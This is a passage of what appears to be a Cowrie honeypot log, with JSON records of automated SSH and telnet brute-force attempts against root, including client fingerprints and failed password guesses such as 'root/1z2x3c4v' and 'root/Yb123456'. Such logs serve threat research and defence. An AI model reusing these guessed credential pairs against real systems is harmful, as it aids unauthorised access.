istp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:39.997040Z","src_ip":"170.106.119.118","session":"b0e0064529b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1z2x3c4v","message":"login attempt [root/1z2x3c4v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:40.304760Z","src_ip":"170.106.119.118","session":"b0e0064529b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":53440,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef0488318b06","protocol":"ssh","message":"New connection: 103.75.182.198:53440 (159.203.135.109:22) [session: ef0488318b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:41.330458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:41.340530Z","src_ip":"103.75.182.198","session":"ef0488318b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:41.376892Z","src_ip":"170.106.119.118","session":"b0e0064529b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:41.585089Z","src_ip":"103.75.182.198","session":"ef0488318b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elena","message":"login attempt [root/elena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:42.315739Z","src_ip":"103.75.182.198","session":"ef0488318b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:43.561947Z","src_ip":"103.75.182.198","session":"ef0488318b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.98502707481384,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:44.281862Z","src_ip":"152.42.224.71","session":"a9ec02e292b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":39326,"dst_ip":"10.17.0.5","dst_port":22,"session":"61c9d7e46274","protocol":"ssh","message":"New connection: 58.186.20.143:39326 (10.17.0.5:22) [session: 61c9d7e46274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:46.592463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:46.596635Z","src_ip":"58.186.20.143","session":"61c9d7e46274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:46.851807Z","src_ip":"58.186.20.143","session":"61c9d7e46274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja","message":"login attempt [root/tanja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:47.898411Z","src_ip":"58.186.20.143","session":"61c9d7e46274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:49.156723Z","src_ip":"58.186.20.143","session":"61c9d7e46274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.240.126","src_port":48202,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ab796d47553","protocol":"ssh","message":"New connection: 212.192.240.126:48202 (10.17.0.5:22) [session: 7ab796d47553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:51.718481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:51.723708Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:51.808530Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":60080,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c8a63369b26","protocol":"ssh","message":"New connection: 59.17.95.129:60080 (159.203.135.109:22) [session: 7c8a63369b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.158823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.163855Z","src_ip":"59.17.95.129","session":"7c8a63369b26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:86:20:e7:c7:2f:42:76:80:d6:83:12:95:5a:35:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDL1oc5MqO7VxH7e1UK9nPe2lW8/TXjGZEJJk3DlfSLZ1vo84Kz8vUmSq0c6aiy1+CUCZQneQGzH/4gLkVu+jYR9ymhoTeLS9QyFLMsYfGT6Ep3pWw775o4DuCG7TVdLHCLS6UoGZhtDS2feytWWRcjjqRQHSofOC9qf7d5VspQ4qiP9ltyJHp6BXFOVdqILWRteag+616vg7UqxVMFwsrB4Rhqdr9eEB9mkT2kiHrzhRONI6gUfZTWJJW/xUWK7GQH68CGPHX2kXCuhkDJCTKxUOQdDGYjl0+c4ZKxAqwd0mZzc+4DjhPkm0NWxVNuNfsdj/iQjkFcVwM2FO2yFkvoFuKsVZahqdlU5TqhKSaY7sLrtrj6U4XI8q2lr7QxHrxiX3Ys12qqpnJjkroCGPSRHjOiuohhUPFtejTZszrGpaFOCjQWLkQiAhpLeIP4GJybqS8wDQ9XwbfbU7T2CfACekRHYMJ/SBIixZb6XZ/P7ljzmmMI0riCqScbTflzziWYbHmbvZ3Ay206O0vhHoVbJ/MR8l6jwO1GQf2Xas9V9l9tMVoHVm+892YDXdrMdED99g7FqZTWxB/iIUUhbyWXaOB0D7RL+i/muxDGI8a5zM9MOYbQlGAZ6msRvaNEm6rixwCmhh37ogn8AVt+BAzYpb20YaURBwzM3/X/2Qs9Bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:86:20:e7:c7:2f:42:76:80:d6:83:12:95:5a:35:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.202229Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:86:20:e7:c7:2f:42:76:80:d6:83:12:95:5a:35:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDL1oc5MqO7VxH7e1UK9nPe2lW8/TXjGZEJJk3DlfSLZ1vo84Kz8vUmSq0c6aiy1+CUCZQneQGzH/4gLkVu+jYR9ymhoTeLS9QyFLMsYfGT6Ep3pWw775o4DuCG7TVdLHCLS6UoGZhtDS2feytWWRcjjqRQHSofOC9qf7d5VspQ4qiP9ltyJHp6BXFOVdqILWRteag+616vg7UqxVMFwsrB4Rhqdr9eEB9mkT2kiHrzhRONI6gUfZTWJJW/xUWK7GQH68CGPHX2kXCuhkDJCTKxUOQdDGYjl0+c4ZKxAqwd0mZzc+4DjhPkm0NWxVNuNfsdj/iQjkFcVwM2FO2yFkvoFuKsVZahqdlU5TqhKSaY7sLrtrj6U4XI8q2lr7QxHrxiX3Ys12qqpnJjkroCGPSRHjOiuohhUPFtejTZszrGpaFOCjQWLkQiAhpLeIP4GJybqS8wDQ9XwbfbU7T2CfACekRHYMJ/SBIixZb6XZ/P7ljzmmMI0riCqScbTflzziWYbHmbvZ3Ay206O0vhHoVbJ/MR8l6jwO1GQf2Xas9V9l9tMVoHVm+892YDXdrMdED99g7FqZTWxB/iIUUhbyWXaOB0D7RL+i/muxDGI8a5zM9MOYbQlGAZ6msRvaNEm6rixwCmhh37ogn8AVt+BAzYpb20YaURBwzM3/X/2Qs9Bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.206400Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:dd:2c:ea:72:1d:4f:69:dd:b9:08:cc:0f:d5:d2:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuIC/ugPVageebFjPS3oSleq63gIzvGADWKWzhrqmAzF1+0gJAVb/k0jhlH3r/dSA2f1rHv1IDt7XDVaw8mEqcGlMCF469ws7D3lc4CN/1merKx8N1rA26R3vFcTbwbVCAbtF3MnzqdquxXHHqC/CjhZk6W8NUPZDMYsrJKMEzSzhQ+9uMyyt2KBDeCslaeuRqLuQjOrgYEeTpwYfM9u4InCxEz78QNTg1R4GItcvuMi7l0I/v5cJPlijq+4Hs4x/tlyycnbRED5hHMZIW1TlenYN7GxwnzHXrGmcyTX5N4ol59dIngKFSzaEq1A8IQwJMwo+h4k5ogfBlF8Lypt/NQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:dd:2c:ea:72:1d:4f:69:dd:b9:08:cc:0f:d5:d2:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.293690Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:dd:2c:ea:72:1d:4f:69:dd:b9:08:cc:0f:d5:d2:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuIC/ugPVageebFjPS3oSleq63gIzvGADWKWzhrqmAzF1+0gJAVb/k0jhlH3r/dSA2f1rHv1IDt7XDVaw8mEqcGlMCF469ws7D3lc4CN/1merKx8N1rA26R3vFcTbwbVCAbtF3MnzqdquxXHHqC/CjhZk6W8NUPZDMYsrJKMEzSzhQ+9uMyyt2KBDeCslaeuRqLuQjOrgYEeTpwYfM9u4InCxEz78QNTg1R4GItcvuMi7l0I/v5cJPlijq+4Hs4x/tlyycnbRED5hHMZIW1TlenYN7GxwnzHXrGmcyTX5N4ol59dIngKFSzaEq1A8IQwJMwo+h4k5ogfBlF8Lypt/NQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.297922Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.364608Z","src_ip":"59.17.95.129","session":"7c8a63369b26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:f7:15:b5:32:72:c5:55:f9:6c:b2:ac:85:06:fa:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMNTw0y5rgKeIEYvrjkW//GsHN9OMIQyvoE5oL0ilVC0OFmiWnptLGeGGxz11EcxZNathTQCLCbvsRFZJ6r2OHFwDPM6YLt9mkhvd1HgRmJXHKeZIllFth35qTcKmGBTOAy9BZA++MTtiMTBMs1O3V3N3t/BkEyRyJ6SNwPvBFs8e+1AMUPvn84qq7X3Bj/SxrkULDDyTXejb1w+198SnvNrfIHlplFQdLXv/R+D0rB3anE9VjNHBIQG5thUTjrl9thfhs4+Yk8TvM/k5mWVXdxuVZMFX+9CFUN5qayPAM+OMHA3Yt4lhGWuBDiLn+PIvIzOv7Pu4Z2aeQqmIT95D5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:f7:15:b5:32:72:c5:55:f9:6c:b2:ac:85:06:fa:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.381870Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:f7:15:b5:32:72:c5:55:f9:6c:b2:ac:85:06:fa:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMNTw0y5rgKeIEYvrjkW//GsHN9OMIQyvoE5oL0ilVC0OFmiWnptLGeGGxz11EcxZNathTQCLCbvsRFZJ6r2OHFwDPM6YLt9mkhvd1HgRmJXHKeZIllFth35qTcKmGBTOAy9BZA++MTtiMTBMs1O3V3N3t/BkEyRyJ6SNwPvBFs8e+1AMUPvn84qq7X3Bj/SxrkULDDyTXejb1w+198SnvNrfIHlplFQdLXv/R+D0rB3anE9VjNHBIQG5thUTjrl9thfhs4+Yk8TvM/k5mWVXdxuVZMFX+9CFUN5qayPAM+OMHA3Yt4lhGWuBDiLn+PIvIzOv7Pu4Z2aeQqmIT95D5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.385525Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:86:32:6a:a3:a7:6e:1d:a9:5f:1f:db:da:ce:98:04","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIZlysJ/4nA9EM9mhIQAmz1IMn9yWh3TvLsiWog+UZdVDgMTBZISXce+aSMZmMAGVSwdhBJsOa9aUG1++qNFcvuXTjICC6dWiAMFTC8iaMATuTMjQlScmDbDP2rVdwqPmi5u2JafrwZQQDMOhtEFgYNhFSpTdt4NYGEK1WoAJ+77AAAAFQCfbhQWHpk+4N387gKp/w8C+Y8GCQAAAIAPUhmXn6x9EvR+n1iIXxnL5d4FPBg5lwsOkF5r1iU9xbZd8pn0jUQCn9kuP5YHI9H9JlJKORI/993vU5tZVVdgmIIs1W5lYCMmN0FiaVfAez5E1BBLzYB+NK8NDhMCu/Y9gZcO/Nn0EHkrzkatke6v1RpHiDck+sXZqiV37uenNAAAAIBTkX5U7ODMN0Mf5GgPvL9CnSGbEOFvVUVMGOrZna5o6713GCDtOmcEwPEsEZTXcM2jyJ7bV9nS+Tusqr8tnLl/fD9dqOEjsyPLYqpu4ejs6axS8yybDiJJY3v6IwgEoMKc+ukoYUKBhIYOdmlSMKjopQJsQgyaCQzGYRilF67LIw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b0:86:32:6a:a3:a7:6e:1d:a9:5f:1f:db:da:ce:98:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.468017Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:86:32:6a:a3:a7:6e:1d:a9:5f:1f:db:da:ce:98:04","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIZlysJ/4nA9EM9mhIQAmz1IMn9yWh3TvLsiWog+UZdVDgMTBZISXce+aSMZmMAGVSwdhBJsOa9aUG1++qNFcvuXTjICC6dWiAMFTC8iaMATuTMjQlScmDbDP2rVdwqPmi5u2JafrwZQQDMOhtEFgYNhFSpTdt4NYGEK1WoAJ+77AAAAFQCfbhQWHpk+4N387gKp/w8C+Y8GCQAAAIAPUhmXn6x9EvR+n1iIXxnL5d4FPBg5lwsOkF5r1iU9xbZd8pn0jUQCn9kuP5YHI9H9JlJKORI/993vU5tZVVdgmIIs1W5lYCMmN0FiaVfAez5E1BBLzYB+NK8NDhMCu/Y9gZcO/Nn0EHkrzkatke6v1RpHiDck+sXZqiV37uenNAAAAIBTkX5U7ODMN0Mf5GgPvL9CnSGbEOFvVUVMGOrZna5o6713GCDtOmcEwPEsEZTXcM2jyJ7bV9nS+Tusqr8tnLl/fD9dqOEjsyPLYqpu4ejs6axS8yybDiJJY3v6IwgEoMKc+ukoYUKBhIYOdmlSMKjopQJsQgyaCQzGYRilF67LIw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.472503Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:d4:bf:98:52:6a:ac:2e:cf:a6:d1:ec:27:c1:08:0f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMFDf0iwcg7VvcDfQ1oACWsBoWoGay0fvlXYAAbd5TOh","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 50:d4:bf:98:52:6a:ac:2e:cf:a6:d1:ec:27:c1:08:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.557611Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:d4:bf:98:52:6a:ac:2e:cf:a6:d1:ec:27:c1:08:0f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMFDf0iwcg7VvcDfQ1oACWsBoWoGay0fvlXYAAbd5TOh","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.561472Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:52.649064Z","src_ip":"212.192.240.126","session":"7ab796d47553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yb123456","message":"login attempt [root/Yb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:53.201832Z","src_ip":"59.17.95.129","session":"7c8a63369b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:54.406298Z","src_ip":"59.17.95.129","session":"7c8a63369b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":54582,"dst_ip":"10.17.0.5","dst_port":22,"session":"429586e9df1b","protocol":"ssh","message":"New connection: 43.153.22.143:54582 (10.17.0.5:22) [session: 429586e9df1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:01.892464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:01.897346Z","src_ip":"43.153.22.143","session":"429586e9df1b","protocol":"ssh"}
